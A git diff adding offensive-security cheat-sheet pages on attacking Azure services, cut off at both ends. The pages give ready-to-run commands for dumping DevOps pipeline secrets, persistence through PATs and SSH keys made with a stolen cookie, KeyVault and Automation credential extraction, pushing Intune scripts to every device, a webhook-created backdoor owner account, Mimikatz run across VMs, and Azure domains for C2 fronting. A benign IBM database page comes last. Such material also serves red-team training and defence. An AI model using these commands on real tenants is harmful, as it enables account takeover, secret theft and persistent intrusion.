Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-services-deployment-template.md b/personas/_shared/internal-allthethings/cloud/azure/azure-services-deployment-template.md new file mode 100644 index 0000000..5e5c39b --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-services-deployment-template.md @@ -0,0 +1,22 @@ +# Azure Services - Deployment Template + +* List the deployments + + ```powershell + PS Az> Get-AzResourceGroup + PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP + ``` + +* Export the deployment template + + ```ps1 + PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName -DeploymentName + + # search for hardcoded password + cat .json + cat | Select-String password + ``` + +## References + +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-services-devops.md b/personas/_shared/internal-allthethings/cloud/azure/azure-services-devops.md new file mode 100644 index 0000000..3c0a1ba --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-services-devops.md @@ -0,0 +1,165 @@ +# Azure Services - Azure DevOps + +* [xforcered/ADOKit](https://github.com/xforcered/ADOKit) - Azure DevOps Services Attack Toolkit +* [zolderio/devops](https://github.com/zolderio/devops) - Azure DevOps Access Testing Scripts +* [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab. + + ```ps1 + # List all secrets from all projects + $ nord-stream.py devops --token "$PAT" --org myorg --list-secrets + + # Dump all secrets from all projects + $ nord-stream.py devops --token "$PAT" --org myorg + ``` + +## Authentication + +You can access an organization's Azure DevOps Services instance via . + +* Username and Password +* Authentication Cookie `UserAuthentication`: `ADOKit.exe whoami /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization` +* Personal Access Token (PAT): `ADOKit.exe whoami /credential:patToken /url:https://dev.azure.com/YourOrganization` + + ```ps1 + PAT="XXXXXXXXXXX" + organization="YOURORGANIZATION" + curl -u :${PAT} https://dev.azure.com/${organization}/_apis/build-release/builds + ``` + +* Access Token with FOCI (MS Authenticator) + + ```ps1 + roadtx auth --device-code -c 4813382a-8fa7-425e-ab75-3b753aab3abb + roadtx refreshtokento -c 1950a258-227b-4e31-a9cf-717495945fc2 -r 499b84ac-1321-427f-aa17-267ca6975798/.default + python main.py --token $(jq -r '.accessToken' .roadtools_auth) repositories + ``` + +## Recon + +* Search files: `file:FileNameToSearch`, `file:Test* OR file:azure-pipelines*` + + ```ps1 + curl -i -s -k -X $'GET' + -H $'Content-Type: application/json' + -H $'User-Agent: SOME_USER_AGENT' + -H $'Authorization: Basic BASE64ENCODEDPAT' + -H $'Host: dev.azure.com' + $'https://dev.azure.com/YOURORGANIZATION/PROJECTNAME/_apis/git/repositories/REPOSITORYID/items?recursionLevel=Full&api-version=7.0' + ``` + +* Search code: `ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"search term"` + + ```ps1 + curl -i -s -k -X $'POST' + -H $'Content-Type: application/json' + -H $'User-Agent: SOME_USER_AGENT' + -H $'Authorization: Basic BASE64ENCODEDPAT' + -H $'Host: almsearch.dev.azure.com' + -H $'Content-Length: 85' + -H $'Expect: 100-continue' + -H $'Connection: close' + --data-binary $'{\"searchText\": \"SEARCHTERM\", \"skipResults\":0,\"takeResults\":1000,\"isInstantSearch\":true}' + $'https://almsearch.dev.azure.com/YOURORGANIZATION/_apis/search/codeAdvancedQueryResults?api-version=7.0-preview' + ``` + +* Enumerate users + + ```ps1 + curl -i -s -k -X $'GET' + -H $'Content-Type: application/json' + -H $'User-Agent: SOME_USER_AGENT' + -H $'Authorization: Basic BASE64ENCODEDPAT' + -H $'Host: dev.azure.com' + $'https://dev.azure.com/YOURORGANIZATION/_apis/graph/users?api-version=7.0' + ``` + +* Enumerate groups: `ADOKit.exe getgroupmembers /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /group:"search term"` + + ```ps1 + curl -i -s -k -X $'GET' + -H $'Content-Type: application/json' + -H $'User-Agent: SOME_USER_AGENT' + -H $'Authorization: Basic BASE64ENCODEDPAT' + -H $'Host: dev.azure.com' + $'https://dev.azure.com/YOURORGANIZATION/_apis/graph/groups?api-version=7.0' + ``` + +* Enumerate project permissions: `ADOKit.exe getpermissions /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"` + +* Get the user profile of the user from access_token: +* Get the organizations that user belongs to: +* Get the repositories inside of that organization: + +## Privilege Escalation + +* Adding User to Group: `ADOKit.exe addcollectionbuildadmin /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /user:"username"` + + ```ps1 + curl -i -s -k -X $'PUT' + -H $'Content-Type: application/json' + -H $'User-Agent: Some User Agent' + -H $'Authorization: Basic base64EncodedPAT' + -H $'Host: vssps.dev.azure.com' + -H $'Content-Length: 0' + $'https://vssps.dev.azure.com/YourOrganization/_apis/graph/memberships/userDescriptor/groupDescriptor?api-version=7.0-preview.1' + ``` + +* Retrieve build variables and secrets: `ADOKit.exe getpipelinevars /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`, `ADOKit.exe getpipelinesecrets /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"` + + ```ps1 + curl -i -s -k -X $'GET' + -H $'Content-Type: application/json' + -H $'User-Agent: Some User Agent' + -H $'Authorization: Basic base64EncodedPAT' + -H $'Host: dev.azure.com' + $'https://dev.azure.com/YourOrganization/ProjectName/_apis/build/Definitions/DefinitionIDNumber?api-version=7.0' + ``` + +* Retrieve Service Connection Information: `ADOKit.exe getserviceconnections /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"` + + ```ps1 + curl -i -s -k -X $'GET' + -H $'Content-Type: application/json;api-version=5.0-preview.1' + -H $'User-Agent: Some User Agent' + -H $'Authorization: Basic base64EncodedPAT' + -H $'Host: dev.azure.com' + $'https://dev.azure.com/YourOrganization/YourProject/_apis/serviceendpoint/endpoints?api-version=7.0' + ``` + +## Persistence + +* Create a PAT: `ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization` + + ```ps1 + curl -i -s -k -X $'POST' + -H $'Content-Type: application/json' + -H $'Accept: application/json;api-version=5.0-preview.1' + -H $'User-Agent: Some User Agent' + -H $'Host: dev.azure.com' + -H $'Content-Length: 234' + -H $'Expect: 100-continue' + -b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie' + --data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"PATName\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"targetAccounts\":[]}}}}}' + $'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery' + ``` + +* Create SSH Keys: `ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh pub key"` + + ```ps1 + curl -i -s -k -X $'POST' + -H $'Content-Type: application/json' + -H $'Accept: application/json;api-version=5.0-preview.1' + -H $'User-Agent: Some User Agent' + -H $'Host: dev.azure.com' + -H $'Content-Length: 856' + -H $'Expect: 100-continue' + -b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie' + --data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"SSHKeyName\",\"publicData\":\"public SSH key content\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"isPublic\":true,\"targetAccounts\":[\"organizationID\"]}}}}}' + $'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery' + ``` + +## References + +* [Hiding in the Clouds: Abusing Azure DevOps Services to Bypass Microsoft Sentinel Analytic Rules - Brett Hawkins - November 6, 2023](https://www.ibm.com/downloads/cas/5JKAPVYD) +* [DevOps access is closer than you assume - rikvduijn - January 21, 2025](https://zolder.io/blog/devops-access-is-closer-than-you-assume/) +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-services-keyvault.md b/personas/_shared/internal-allthethings/cloud/azure/azure-services-keyvault.md new file mode 100644 index 0000000..7e3b3e1 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-services-keyvault.md @@ -0,0 +1,42 @@ +# Azure Services - KeyVault + +## Access Token + +* Keyvault access token + + ```powershell + curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER + curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER + ``` + +* Connect with the access token + + ```ps1 + PS> $token = 'eyJ0..' + PS> $keyvaulttoken = 'eyJ0..' + PS> $accid = '2e...bc' + PS Az> Connect-AzAccount -AccessToken $token -AccountId $accid -KeyVaultAccessToken $keyvaulttoken + ``` + +## Query Secrets + +* Query the vault and the secrets + + ```ps1 + PS Az> Get-AzKeyVault + PS Az> Get-AzKeyVaultSecret -VaultName + PS Az> Get-AzKeyVaultSecret -VaultName -Name Reader -AsPlainText + ``` + +* Extract secrets from Automations, AppServices and KeyVaults + + ```powershell + Import-Module Microburst.psm1 + PS Microburst> Get-AzurePasswords + PS Microburst> Get-AzurePasswords -Verbose | Out-GridView + ``` + +## References + +* [Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions - August 28, 2018 - Karl Fosaaen](https://www.netspi.com/blog/technical/cloud-penetration-testing/get-azurepasswords/) +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-services-microsoft-intune.md b/personas/_shared/internal-allthethings/cloud/azure/azure-services-microsoft-intune.md new file mode 100644 index 0000000..aa2ae3c --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-services-microsoft-intune.md @@ -0,0 +1,79 @@ +# Azure Services - Microsoft Intune + +Microsoft Intune is a cloud-based service that provides mobile device management (MDM) and mobile application management (MAM). It allows organizations to control and secure access to corporate data on mobile devices, including smartphones, tablets, and PCs. With Intune, businesses can enforce security policies, manage apps, and ensure that devices comply with organizational requirements, whether they are company-owned or personal (BYOD). + +## Intunes Administration + +**Requirements**: + +* **Global Administrator** or **Intune Administrator** Privilege + + ```powershell + Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'" + ``` + +**Walkthrough** + +1. Login into or use Pass-The-PRT +2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune +3. Go to **Scripts** and click on **Add** for Windows 10. +4. Add a **Powershell script** +5. Specify **Add all users** and **Add all devices** in the **Assignments** page. + +:warning: It will take up to one hour before you script is executed ! + +## Intune Scripts + +**Requirements**: + +* App with permission: `DeviceManagementConfiguration.Read.All` +* `Microsoft.Graph.Intune` dependency installed: `Install-Module Microsoft.Graph.Intune` + +**Extract Intune scripts**: + +The following scripts are deprecated, use `MgGraph` instead of `MsGraph`, and change the appropriate function `InvokeMgGraph` too. + +* [okieselbach/Get-DeviceManagementScripts.ps1](https://raw.githubusercontent.com/okieselbach/Intune/master/Get-DeviceManagementScripts.ps1) - Get all or individual Intune PowerShell scripts and save them in specified folder. + + ```ps1 + Get-DeviceManagementScripts -FolderPath C:\temp -FileName myScript.ps1 + ``` + +* [okieselbach/Get-DeviceHealthScripts.ps1](https://raw.githubusercontent.com/okieselbach/Intune/master/Get-DeviceHealthScripts.ps1) - Get all or individual Intune PowerShell Health scripts (aka Proactive Remediation scripts) and save them in specified folder. + + ```ps1 + Get-DeviceHealthScripts -FolderPath C:\temp\HealthScripts + ``` + +* [secureworks/pytune](https://github.com/secureworks/pytune) - Pytune is a post-exploitation tool for enrolling a fake device into Intune with mulitple platform support. + + ```ps1 + python3 pytune.py entra_join -o Windows -d Windows_pytune -u testuser@*******.onmicrosoft.com -p *********** + python3 pytune.py enroll_intune -o Windows -d Windows_pytune -c Windows_pytune.pfx -u testuser@*******.onmicrosoft.com -p *********** + python3 pytune.py download_apps -d Windows_pytune -m Windows_pytune_mdm.pfx + ``` + +## LAPS + +Some organization have recreated LAPS for Azure devices using Intune scripts. + +```ps1 +#requires -modules Microsoft.Graph.Authentication +#requires -modules Microsoft.Graph.Intune +#requires -modules LAPS +#requires -modules ImportExcel + +$DaysBack = 30 +Connect-MgGraph +Get-IntuneManagedDevice -Filter "Platform eq 'Windows'" | + Foreach-Object {Get-LapsAADPassword -DevicesIds $_.DisplayName} | + Where-Object {$_.PasswordExpirationTime -lt (Get-Date).AddDays(-$DaysBack)} | + Export-Excel -Path "c:\temp\lapsdata.xlsx" - ClearSheet -AutoSize -Show +``` + +## References + +* [Microsoft Intune - Microsoft Intune support for Windows LAPS](https://learn.microsoft.com/en-us/mem/intune/protect/windows-laps-overview) +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) +* [Get back your Intune Proactive Remediation Scripts - Oliver Kieselbach - September 7, 2022](https://oliverkieselbach.com/2022/09/07/get-back-your-intune-proactive-remediation-scripts/) +* [Get back your Intune PowerShell Scripts - Oliver Kieselbach - February 6, 2020](https://oliverkieselbach.com/2020/02/06/get-back-your-intune-powershell-scripts/) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-services-office-365.md b/personas/_shared/internal-allthethings/cloud/azure/azure-services-office-365.md new file mode 100644 index 0000000..32c7b12 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-services-office-365.md @@ -0,0 +1,32 @@ +# Azure Services - Office 365 + +## Microsoft Teams Messages + +```ps1 +TokenTacticsV2> RefreshTo-MSTeamsToken -domain domain.local +AADInternals> Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName +``` + +## Outlook Mails + +* Read user mails + + ```ps1 + Get-MgUserMessage -UserId | ft + Get-MgUserMessageContent -OutFile mail.txt -UserId -MessageId + ``` + +## OneDrive Files + +```ps1 +$userId = "" +Import-Module Microsoft.Graph.Files +Get-MgUserDefaultDrive -UserId $userId +Get-MgUserDrive -UserId $UserId -Debug +Get-MgDrive -top 1 +``` + +## References + +* [Pentesting Azure Mindmap - Alexis Danizan](https://github.com/synacktiv/Mindmaps) +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-services-runbook.md b/personas/_shared/internal-allthethings/cloud/azure/azure-services-runbook.md new file mode 100644 index 0000000..eaa1cd0 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-services-runbook.md @@ -0,0 +1,86 @@ +# Azure Services - Runbook and Automation + +## Runbook + +Runbook must be **SAVED** and **PUBLISHED** before running it. + +### List the Runbooks + +```ps1 +Get-AzAutomationAccount | Get-AzAutomationRunbook +``` + +### Create a Runbook + +* Check user right for automation + + ```powershell + az extension add --upgrade -n automation + az automation account list # if it doesn't return anything the user is not a part of an Automation group + az ad signed-in-user list-owned-objects + ``` + +* Add the user to the "Automation" group: `Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose` +* Get the role of a user on the Automation account: `Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/`. NOTE: Contributor or higher privileges accounts can create and execute Runbooks +* List hybrid workers: `Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName ` +* Create a Powershell Runbook: `Import-AzAutomationRunbook -Name -Path C:\Tools\username.ps1 -AutomationAccountName -ResourceGroupName -Type PowerShell -Force -Verbose` +* Publish the Runbook: `Publish-AzAutomationRunbook -RunbookName -AutomationAccountName -ResourceGroupName -Verbose` +* Start the Runbook: `Start-AzAutomationRunbook -RunbookName -RunOn Workergroup1 -AutomationAccountName -ResourceGroupName -Verbose` + +## Automation Account + +### List Automation Accounts + +Azure Automation provides a way to automate the repetitive tasks you perform in your Azure environment. + +```ps1 +Get-AzAutomationAccount +``` + +### Get Automation Credentials + +```ps1 +Get-AzAutomationAccount | Get-AzAutomationCredential +Get-AzAutomationAccount | Get-AzAutomationConnection +Get-AzAutomationAccount | Get-AzAutomationCertificate +Get-AzAutomationAccount | Get-AzAutomationVariable +``` + +### Persistence via Automation Accounts + +* Create a new Automation Account + * "Create Azure Run As account": Yes +* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription* + * Sample runbook [NetSPI/MicroBurst](https://github.com/NetSPI/MicroBurst) + * Publish the runbook + * Add a webhook to the runbook +* Add the AzureAD module to the Automation account + * Update the Azure Automation Modules +* Assign "User Administrator" and "Subscription Owner" rights to the automation account +* Trigger the webhook with a post request to create the new user + + ```powershell + $uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d" + $AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}}) + $body = ConvertTo-Json -InputObject $AccountInfo + $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body + ``` + +## Desired State Configuration + +### List the DSC + +```ps1 +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration +``` + +### Export the configuration + +```ps1 +$DSCName = ${dscToExport} +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match $DSCName} | Export-AzAutomationDscConfiguration -OutputFolder (get-location) -Debug +``` + +## References + +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-services-storage-blob.md b/personas/_shared/internal-allthethings/cloud/azure/azure-services-storage-blob.md new file mode 100644 index 0000000..7e58d62 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-services-storage-blob.md @@ -0,0 +1,77 @@ +# Azure Services - Storage Blob + +* Blobs - `*.blob.core.windows.net` +* File Services - `*.file.core.windows.net` +* Data Tables - `*.table.core.windows.net` +* Queues - `*.queue.core.windows.net` + +## Enumerate blobs + +```powershell +PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1 +PS > Invoke-EnumerateAzureBlobs -Base -OutputFile azureblobs.txt +Found Storage Account - redacted.blob.core.windows.net +``` + +## List and download blobs + +Visiting `https://.blob.core.windows.net/?restype=container&comp=list` provides a JSON file containing a complete list of the Azure Blobs. + +```xml + + + + index.html + https://.blob.core.windows.net//index.html + + Fri, 20 Oct 2023 20:08:20 GMT + 0x8DBD1A84E6455C0 + 782359 + text/html + + + JSe+sM+pXGAEFInxDgv4CA== + + BlockBlob + unlocked + + +``` + +Browse deleted files. + +```ps1 +$ curl -s -H "x-ms-version: 2019-12-12" 'https://.blob.core.windows.net/?restype=container&comp=list&include=versions' | xmllint --format - | grep Name + + + index.html + scripts-transfer.zip +``` + +```powershell +PS Az> Get-AzResource +PS Az> Get-AzStorageAccount -name -ResourceGroupName +PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name -ResourceGroupName ).context +PS Az> Get-AzStorageBlobContent -Container -Context (Get-AzStorageAccount -name -ResourceGroupName ).context -Blob +``` + +Retrieve exposed containers with public access + +```ps1 +PS Az> (Get-AzStorageAccount | Get-AzStorageContainer).cloudBlobContainer | select Uri,@{n='PublicAccess';e={$_.Properties.PublicAccess}} +``` + +## SAS URL + +* Use [Storage Explorer](https://azure.microsoft.com/en-us/features/storage-explorer/) +* Click on **Open Connect Dialog** in the left menu. +* Select **Blob container**. +* On the **Select Authentication Method** page + * Select **Shared access signature (SAS)** and click on Next + * Copy the URL in **Blob container SAS URL** field. + +:warning: You can also use `subscription`(username/password) to access storage resources such as blobs and files. + +## References + +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-services-virtual-machine.md b/personas/_shared/internal-allthethings/cloud/azure/azure-services-virtual-machine.md new file mode 100644 index 0000000..a0d0f42 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-services-virtual-machine.md @@ -0,0 +1,52 @@ +# Azure Services - Virtual Machine + +## RunCommand + +> Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as `NT Authority\System` + +**Requirements**: `Microsoft.Compute/virtualMachines/runCommand/action` + +* List available Virtual Machines + + ```powershell + PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name + ResourceGroupName Name + ----------------- ---- + TESTRESOURCES Remote-Test + ``` + +* Get Public IP of VM by querying the network interface + + ```powershell + PS AzureAD> Get-AzVM -Name -ResourceGroupName | select -ExpandProperty NetworkProfile + PS AzureAD> Get-AzNetworkInterface -Name + PS AzureAD> Get-AzPublicIpAddress -Name + ``` + +* Execute Powershell script on the VM, like `adduser` + + ```ps1 + PS AzureAD> Invoke-AzVMRunCommand -VMName -ResourceGroupName -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -Verbose + PS Azure C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1 + ``` + +* Finally you should be able to connect via WinRM + + ```ps1 + $password = ConvertTo-SecureString '' -AsPlainText -Force + $creds = New-Object System.Management.Automation.PSCredential('username', $Password) + $sess = New-PSSession -ComputerName -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) + Enter-PSSession $sess + ``` + +Against the whole subscription using `MicroBurst.ps1` + +```powershell +Import-module MicroBurst.psm1 +Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt +``` + +## References + +* [Running Powershell scripts on Azure VM - Karl Fosaaen - November 6, 2018](https://blog.netspi.com/running-powershell-scripts-on-azure-vms/) +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-services-web-apps.md b/personas/_shared/internal-allthethings/cloud/azure/azure-services-web-apps.md new file mode 100644 index 0000000..b3828ed --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-services-web-apps.md @@ -0,0 +1,50 @@ +# Azure Services - Web Apps + +## List Web App + +```ps1 +az webapp list +``` + +## Execute Commands + +```ps1 +$ARMToken = Get-ARMTokenWithRefreshToken ` + -RefreshToken "0.ARwA6WgJJ9X2qk..." ` + -TenantID "contoso.onmicrosoft.com" + +Invoke-AzureRMWebAppShellCommand ` + -KuduURI "https://.scm.azurewebsites.net/api/command" ` + -Token $ARMToken ` + -Command "whoami" +``` + +## SSH Connection + +First check if the SSH over HTTP connection is enabled: `(curl https://${appName}?app.scm.azurewebsites.net/webssh/host).statuscode` + +```powershell +az webapp create-remote-connection --subscription --resource-group -n +``` + +## Kudu + +In Azure App Service, Kudu is the advanced management and deployment tool used for various operations such as continuous integration, troubleshooting, and diagnostic tasks for your web applications. It provides a set of utilities and features for managing your app’s environment, including access to application settings, log streams, and deployment management. + +You can access this Kudu app at the following URLs: + +* App not in the Isolated tier: `https://.scm.azurewebsites.net` +* Internet-facing app in the Isolated tier (App Service Environment): `https://.scm..p.azurewebsites.net` +* Internal app in the Isolated tier (App Service Environment for internal load balancing): `https://.scm..appserviceenvironment.net` + +Key Features of Kudu in App Service: + +* **Web-Based Console**: Provides a command-line interface (CLI) to execute commands directly on the App Service environment. +* **File Explorer**: Lets you view and manage files in your app’s environment. +* **Environment Diagnostics**: Offers insights into the environment variables, app settings, and detailed diagnostic logs. +* **Process Explorer**: Allows you to monitor and manage running processes in your app’s environment. +* **Access to Logs**: Easily view, download, and stream logs for debugging and troubleshooting. + +## References + +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-services-web-domains.md b/personas/_shared/internal-allthethings/cloud/azure/azure-services-web-domains.md new file mode 100644 index 0000000..ba50f42 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-services-web-domains.md @@ -0,0 +1,39 @@ +# Azure Services - DNS Suffix + +## DNS table + +Many Azure services generate custom endpoints with a suffix such as `.cloudapp.azure.com`, `.windows.net`. Below is a table of common services and their associated DNS suffixes. + +These services can also be leveraged for domain fronting or communication with an external C2 server when they are whitelisted by the proxy or the firewall rules. + +| Service | Domain | +| --- | --- | +| Analysis Services Suffix | .asazure.windows.net | +| API Management Suffix | .azure-api.net | +| App Services Suffix | .azurewebsites.net | +| Automation Suffix | .azure-automation.net | +| Batch Suffix | .batch.azure.com | +| Blob Endpoint Suffix | .blob.core.windows.net | +| CDN Suffix | .azureedge.net | +| Data Lake Analytics Catalog Suffix | .azuredatalakeanalytics.net | +| Data Lake Store Suffix | .azuredatalakestore.net | +| DocumentDB/CosmosDB Suffix | .documents.azure.com | +| Event Hubs Suffix | .servicesbus.windows.net | +| File Endpoint Suffix | .file.core.windows.net | +| FrontDoor Suffix | .azurefd.net | +| IoT Hub Suffix | .azure-devices.net | +| Key Vault Suffix | .vault.azure.net | +| Logic App Suffix | .azurewebsites.net | +| Queue Endpoint Suffix | .queue.core.windows.net | +| Redis Cache Suffix | .redis.cache.windows.net | +| Service Bus Suffix | .servicesbus.windows.net | +| Service Fabric Suffix | .cloudapp.azure.com | +| SQL Database Suffix | .database.windows.net | +| Storage Endpoint Suffix | .core.windows.net | +| Table Endpoint Suffix | .table.core.windows.net | +| Traffic Manager Suffix | .trafficmanager.net | +| Web Application Gateway Suffix | .cloudapp.azure.com | + +## References + +* [Azure services URLs and IP addresses for firewall or proxy whitelisting - Daniel Neumann - 20. December 2016](https://www.danielstechblog.io/azure-services-urls-and-ip-addresses-for-firewall-or-proxy-whitelisting/) diff --git a/personas/_shared/internal-allthethings/cloud/ibm/ibm-cloud-databases.md b/personas/_shared/internal-allthethings/cloud/ibm/ibm-cloud-databases.md new file mode 100644 index 0000000..c7f8a23 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/ibm/ibm-cloud-databases.md @@ -0,0 +1,130 @@ +# IBM Cloud Managed Database Services + +IBM Cloud offers a variety of managed database services that allow organizations to easily deploy, manage, and scale databases without the operational overhead. These services ensure high availability, security, and performance, catering to a wide range of application requirements. + +## Supported Database Engines + +### 1. PostgreSQL + +- **Description**: PostgreSQL is an open-source relational database known for its robustness, extensibility, and SQL compliance. It supports advanced data types and offers features like complex queries, ACID compliance, and full-text search. + +- **Key Features**: + - Automated backups and recovery + - High availability with clustering options + - Scale horizontally and vertically with ease + - Support for JSON and unstructured data + - Advanced security features including encryption + +- **Use Cases**: + - Web applications + - Data analytics + - Geospatial data applications + - E-commerce platforms + +#### Connecting to PostgreSQL + +You can connect to a PostgreSQL database using various programming languages. Here's an example in Python using the `psycopg2` library. + +```python +import psycopg2 + +# Establishing a connection to the PostgreSQL database +conn = psycopg2.connect( + dbname="your_database_name", + user="your_username", + password="your_password", + host="your_host", + port="your_port" +) + +cursor = conn.cursor() + +# Example of a simple query +cursor.execute("SELECT * FROM your_table;") +records = cursor.fetchall() +print(records) + +# Closing the connection +cursor.close() +conn.close() +``` + +### 2. MongoDB + +- **Description**: MongoDB is a leading NoSQL database that provides a flexible data model, enabling developers to work with unstructured data and large volumes of data. It uses a document-oriented data model and is designed for scalability and performance. + +- **Key Features**: + - Automatic sharding for horizontal scaling + - Built-in replication for high availability + - Rich querying capabilities and indexing options + - Full-text search and aggregation framework + - Flexible schema design + +- **Use Cases**: + - Content management systems + - Real-time analytics + - Internet of Things (IoT) applications + - Mobile applications + +#### Connecting to MongoDB + +You can connect to MongoDB using various programming languages. Here's an example in JavaScript using the mongodb library. + +```javascript +const { MongoClient } = require('mongodb'); + +// Connection URI +const uri = "mongodb://your_username:your_password@your_host:your_port/your_database"; + +// Create a new MongoClient +const client = new MongoClient(uri); + +async function run() { + try { + // Connect to the MongoDB cluster + await client.connect(); + + // Access the database + const database = client.db('your_database'); + const collection = database.collection('your_collection'); + + // Example of a simple query + const query = { name: "John Doe" }; + const user = await collection.findOne(query); + console.log(user); + + } finally { + // Ensures that the client will close when you finish/error + await client.close(); + } +} +run().catch(console.dir); +``` + +## Benefits of Using IBM Cloud Managed Database Services + +- **Automated Management**: Reduce operational overhead with automated backups, scaling, and updates. +- **High Availability**: Built-in redundancy and failover mechanisms ensure uptime and data availability. +- **Security**: Comprehensive security features protect your data with encryption, access controls, and compliance support. +- **Scalability**: Easily scale your database resources up or down based on application needs. +- **Performance Monitoring**: Built-in monitoring and alerting tools provide insights into database performance and health. + +## Getting Started + +To begin using IBM Cloud Managed Database services, follow these steps: + +1. **Sign Up**: Create an IBM Cloud account [here](https://cloud.ibm.com/registration). +2. **Select Database Service**: Choose the managed database service you need (PostgreSQL, MongoDB, etc.). +3. **Configure Your Database**: Set up your database parameters, including region, storage size, and instance type. +4. **Deploy**: Launch your database instance with a few clicks. +5. **Connect**: Use the provided connection string to connect your applications to the database. + +## Conclusion + +IBM Cloud's managed database services provide a reliable and efficient way to manage your database needs. With support for leading databases like PostgreSQL and MongoDB, organizations can focus on building innovative applications while leveraging IBM's infrastructure and expertise. + +## Additional Resources + +- [IBM Cloud Databases Documentation](https://cloud.ibm.com/docs/databases?code=cloud) +- [IBM Cloud PostgreSQL Documentation](https://cloud.ibm.com/docs/databases?code=postgres) +- [IBM Cloud MongoDB Documentation](https://cloud.ibm.com/docs/databases?code=mongo) diff --git 